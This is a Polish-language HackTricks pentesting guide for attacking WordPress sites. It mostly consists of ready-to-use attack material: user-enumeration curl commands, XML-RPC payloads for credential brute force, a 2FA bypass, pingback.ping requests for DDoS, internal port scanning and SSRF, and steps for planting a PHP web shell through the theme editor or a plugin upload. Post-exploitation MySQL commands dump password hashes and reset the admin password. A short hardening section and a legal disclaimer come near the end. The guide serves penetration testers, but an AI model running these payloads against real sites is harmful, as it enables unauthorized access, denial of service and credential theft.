hacktricks/network-services-pentesting/pentesting-web/wordpress.md

412 lines
21 KiB
Markdown

# Wordpress
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Podstawowe informacje
**Przesłane** pliki trafiają pod: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
**Pliki motywów można znaleźć w /wp-content/themes/**, więc jeśli zmienisz pewne php motywu, aby uzyskać RCE, prawdopodobnie będziesz używać tej ścieżki. Na przykład: Korzystając z **motywu twentytwelve** możesz **uzyskać dostęp** do pliku **404.php** pod adresem: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Inny przydatny adres URL to:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
W pliku **wp-config.php** znajdziesz hasło główne bazy danych.
Domyślne ścieżki logowania do sprawdzenia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Główne pliki WordPress**
* `index.php`
* `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPress.
* `wp-activate.php` jest używany w procesie aktywacji e-maili podczas konfigurowania nowej witryny WordPress.
* Foldery logowania (mogą być zmienione nazwy, aby je ukryć):
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
* `xmlrpc.php` to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych za pomocą HTTP jako mechanizmu transportu i XML jako mechanizmu kodowania. Ten rodzaj komunikacji został zastąpiony przez [API REST WordPressa](https://developer.wordpress.org/rest-api/reference).
* Folder `wp-content` to główny katalog, w którym przechowywane są wtyczki i motywy.
* `wp-content/uploads/` to katalog, w którym przechowywane są wszystkie pliki przesłane na platformę.
* `wp-includes/` to katalog, w którym przechowywane są pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.
* `wp-sitemap.xml` W wersjach WordPressa 5.5 i nowszych WordPress generuje plik sitemap XML z wszystkimi publicznymi wpisami oraz publicznie zapytywalnymi typami wpisów i taksonomiami.
**Eksploatacja po wykorzystaniu**
* Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze autoryzacji i soli oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może również być używany do aktywowania trybu DEBUG, co może być przydatne podczas rozwiązywania problemów.
### Uprawnienia użytkowników
* **Administrator**
* **Redaktor**: Publikuje i zarządza swoimi oraz innymi wpisami
* **Autor**: Publikuje i zarządza swoimi wpisami
* **Współautor**: Pisze i zarządza swoimi wpisami, ale nie może ich publikować
* **Subskrybent**: Przegląda wpisy i edytuje swój profil
## **Pasywne wyliczanie**
### **Sprawdź wersję WordPressa**
Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html`
W **kodzie źródłowym** strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
* `meta name`
![](<../../.gitbook/assets/image (343).png>)
* Pliki linkujące CSS
![](<../../.gitbook/assets/image (344).png>)
* Pliki JavaScript
![](<../../.gitbook/assets/image (346).png>)
### Pobierz wtyczki
{% code overflow="wrap" %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Pobierz motywy
{% endcode %}
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Wyodrębnianie wersji ogólnie
{% endcode %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Aktywna enumeracja
### Wtyczki i motywy
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich możliwych wtyczek i motywów. Aby odkryć je wszystkie, będziesz musiał **aktywnie przeprowadzić atak Brute Force na listę wtyczek i motywów** (na szczęście istnieją narzędzia automatyzujące to zadanie).
### Użytkownicy
**Atak Brute Force na ID**
Możesz uzyskać poprawnych użytkowników witryny WordPress poprzez przeprowadzenie ataku Brute Force na identyfikatory użytkowników:
```
curl -s -I -X GET http://blog.example.com/?author=1
```
Jeśli odpowiedzi to **200** lub **30X**, oznacza to, że id jest **poprawne**. Jeśli odpowiedź to **400**, oznacza to, że id jest **nieprawidłowe**.
**wp-json**
Możesz również spróbować uzyskać informacje o użytkownikach poprzez zapytanie:
```
curl http://blog.example.com/wp-json/wp/v2/users
```
Kolejnym punktem końcowym `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, jest:
```
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
To zakończenie ujawnia tylko użytkowników, którzy opublikowali post. **Dane będą udostępnione tylko dla użytkowników, którzy mają tę funkcję włączoną**.
Należy również zauważyć, że **/wp-json/wp/v2/pages** może ujawniać adresy IP.
#### Wyliczanie nazwy użytkownika podczas logowania
Podczas logowania do **`/wp-login.php`** **komunikat** jest **inny**, jeśli wskazana **nazwa użytkownika istnieje czy nie**.
### XML-RPC
Jeśli `xml-rpc.php` jest aktywny, można przeprowadzić atak siłowy na poświadczenia lub użyć go do uruchamiania ataków DoS na inne zasoby. (Można zautomatyzować ten proces [korzystając z tego](https://github.com/relarizky/wpxploit) na przykład).
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie:
**Sprawdź**
```markup
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Atak siłowy na dane uwierzytelniające**
**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** to niektóre z metod, które można wykorzystać do ataku siłowego na dane uwierzytelniające. Jeśli uda ci się znaleźć którąkolwiek z nich, możesz wysłać coś w stylu:
```markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
```
Wiadomość _"Nieprawidłowa nazwa użytkownika lub hasło"_ w odpowiedzi kodu 200 powinna się pojawić, jeśli poświadczenia nie są poprawne.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png>)
![](<../../.gitbook/assets/image (102).png>)
Korzystając z poprawnych poświadczeń, możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
```
**Sposób na szybsze** łamanie hasła to wykorzystanie **`system.multicall`**, dzięki czemu można wypróbować kilka poświadczeń w jednym żądaniu:
<figure><img src="../../.gitbook/assets/image (188).png" alt=""><figcaption></figcaption></figure>
**Ominięcie 2FA**
Ta metoda jest przeznaczona dla programów, a nie dla ludzi, jest stara i dlatego nie obsługuje 2FA. Dlatego jeśli masz ważne dane logowania, ale główne wejście jest chronione przez 2FA, **możesz próbować wykorzystać xmlrpc.php do zalogowania się tymi danymi, omijając 2FA**. Zauważ, że nie będziesz w stanie wykonać wszystkich działań, jakie można wykonać za pomocą konsoli, ale nadal możesz uzyskać RCE, jak to wyjaśnia Ippsec w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
**DDoS lub skanowanie portów**
Jeśli znajdziesz metodę _**pingback.ping**_ na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego hosta/portu.\
Można to wykorzystać do zmuszenia **tysięcy** stron **Wordpressa** do **dostępu** do jednej **lokalizacji** (co powoduje **DDoS** w tej lokalizacji) lub można użyć tego do zeskanowania **Wordpressa** wewnętrznej **sieci** (można wskazać dowolny port).
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
```
Jeśli otrzymasz **faultCode** o wartości **większej** niż **0** (17), oznacza to, że port jest otwarty.
Zajrzyj do użycia **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody w celu spowodowania ataku DDoS.
**DDoS**
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
```
![](<../../.gitbook/assets/image (103).png>)
### wp-cron.php DoS
Ten plik zazwyczaj istnieje w głównym katalogu witryny Wordpress: **`/wp-cron.php`**\
Kiedy ten plik jest **odwoływany**, wykonywane jest "**ciężkie**" zapytanie MySQL, dlatego może być wykorzystany przez **atakujących** do **spowodowania** ataku typu **DoS**.\
Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym załadowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co na witrynach o dużym ruchu może powodować problemy (DoS).
Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron wewnątrz hosta, które będzie wykonywać wymagane czynności w regularnych odstępach czasu (bez powodowania problemów).
### /wp-json/oembed/1.0/proxy - SSRF
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i witryna Wordpress może wysłać do Ciebie żądanie.
Oto odpowiedź, gdy to nie działa:
![](<../../.gitbook/assets/image (184) (1).png>)
### SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
To narzędzie sprawdza, czy **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy** istnieją, a jeśli tak, próbuje je wykorzystać.
### Automatyczne narzędzia
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować** przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Uzyskaj dostęp poprzez nadpisanie jednego bitu
Więcej niż prawdziwy atak, to ciekawostka. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogłeś zmienić 1 bit w dowolnym pliku WordPressa. Można było zmienić pozycję `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zastąpić operację NOT (`!`) operacją NOP.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modyfikacja pliku php z motywu używanego (wymagane dane uwierzytelniające administratora)**
Wygląd → Edytor motywów → Szablon 404 (po prawej stronie)
Zmień zawartość na php shell:
![](<../../.gitbook/assets/image (21) (1) (1).png>)
Znajdź w internecie, jak uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz uzyskać dostęp tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
Możesz użyć:
```
use exploit/unix/webapp/wp_admin_shell_upload
```
## Wtyczka RCE
### Wtyczka PHP
Możliwe jest przesłanie plików .php jako wtyczki.\
Utwórz swoje tylne drzwi w PHP, na przykład:
![](<../../.gitbook/assets/image (407).png>)
Następnie dodaj nową wtyczkę:
![](<../../.gitbook/assets/image (409).png>)
Prześlij wtyczkę i naciśnij Zainstaluj teraz:
![](<../../.gitbook/assets/image (411).png>)
Kliknij na Przetwórz:
![](<../../.gitbook/assets/image (412).png>)
Prawdopodobnie na pierwszy rzut oka nic się nie stanie, ale jeśli przejdziesz do Mediów, zobaczysz przesłane przez siebie polecenie:
![](<../../.gitbook/assets/image (413).png>)
Otwórz je i zobaczysz adres URL do wykonania odwróconego polecenia:
![](<../../.gitbook/assets/image (414).png>)
### Przesyłanie i aktywowanie złośliwej wtyczki
Ta metoda polega na zainstalowaniu złośliwej wtyczki, która jest znana z podatności i może być wykorzystana do uzyskania powłoki sieciowej. Proces ten odbywa się poprzez panel WordPressa, zgodnie z poniższymi krokami:
1. **Pobranie wtyczki**: Wtyczka jest pobierana z takiego źródła jak Exploit DB, na przykład [**tutaj**](https://www.exploit-db.com/exploits/36374).
2. **Instalacja wtyczki**:
* Przejdź do panelu WordPressa, a następnie do `Panel > Wtyczki > Prześlij wtyczkę`.
* Prześlij plik zip pobranej wtyczki.
3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczki, musi zostać aktywowana poprzez panel.
4. **Wykorzystanie**:
* Po zainstalowaniu i aktywowaniu wtyczki "reflex-gallery", można ją wykorzystać, ponieważ jest znana z podatności.
* Framework Metasploit udostępnia exploit dla tej podatności. Poprzez załadowanie odpowiedniego modułu i wykonanie określonych poleceń, można ustanowić sesję meterpreter, umożliwiając nieautoryzowany dostęp do witryny.
* Warto zauważyć, że jest to tylko jedna z wielu metod wykorzystania witryny WordPress.
Zawartość obejmuje pomoc wizualną przedstawiającą kroki w panelu WordPressa dotyczące instalacji i aktywacji wtyczki. Jednak ważne jest zauważenie, że wykorzystywanie podatności w ten sposób jest nielegalne i niestosowne bez odpowiedniej autoryzacji. Te informacje powinny być używane odpowiedzialnie i tylko w kontekście legalnym, na przykład podczas testów penetracyjnych z wyraźną zgodą.
**Aby uzyskać bardziej szczegółowe kroki, sprawdź:** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/)
## Po Wykorzystaniu
Wyodrębnij nazwy użytkowników i hasła:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Zmień hasło administratora:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Ochrona WordPressa
### Regularne Aktualizacje
Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź również, czy automatyczne aktualizacje są włączone w pliku wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
### Wtyczki zabezpieczeń
* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Inne zalecenia**
* Usuń domyślnego użytkownika **admin**
* Używaj **mocnych haseł** i **2FA**
* Okresowo **sprawdzaj** uprawnienia użytkowników
* **Ogranicz liczbę prób logowania** w celu zapobieżenia atakom Brute Force
* Zmień nazwę pliku **`wp-admin.php`** i zezwalaj na dostęp tylko wewnętrznie lub z określonych adresów IP.
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować workflowy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>